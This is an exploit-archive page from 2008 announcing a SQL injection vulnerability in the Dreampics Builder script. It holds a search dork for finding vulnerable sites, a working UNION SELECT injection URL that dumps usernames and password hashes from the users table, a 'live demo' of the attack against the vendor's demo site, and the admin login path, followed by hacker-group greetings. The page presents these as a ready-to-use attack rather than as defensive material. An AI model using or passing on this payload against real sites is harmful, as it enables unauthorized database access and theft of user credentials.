You are here: hacking technology > Exploit > Content
Hot Articles
Recommend Articles
New Articles
Dreampics Builder (page) Remote SQL Injection Vulnerability
  Add date: 07/11/2008   Publishing date: 07/11/2008   Hits: 199
Total 2 pages, Current page:1, Jump to page:
 
#########################################################
#
#     PICS BUILDER (page) SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#=========================================================   
#
#    script :  http://www.dreamlevels.com/dreampics.php
#
#    DorK   :   powered by Dreampics Builder
#    
##########################################################

Exploit:

www.[target].com/Script/?page=-2+union+select+null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null+from+users--


L!VE DEMO:

http://www.dreamlevels.com/demo/photosite/?page=-2+union+select+null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null+from+users--


Admin Login :

/admin/

########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #   

 
Other pages: : 1 * 2 * Next>>
Prev:BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability Next:Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day

Comment:

Category: Home > Exploit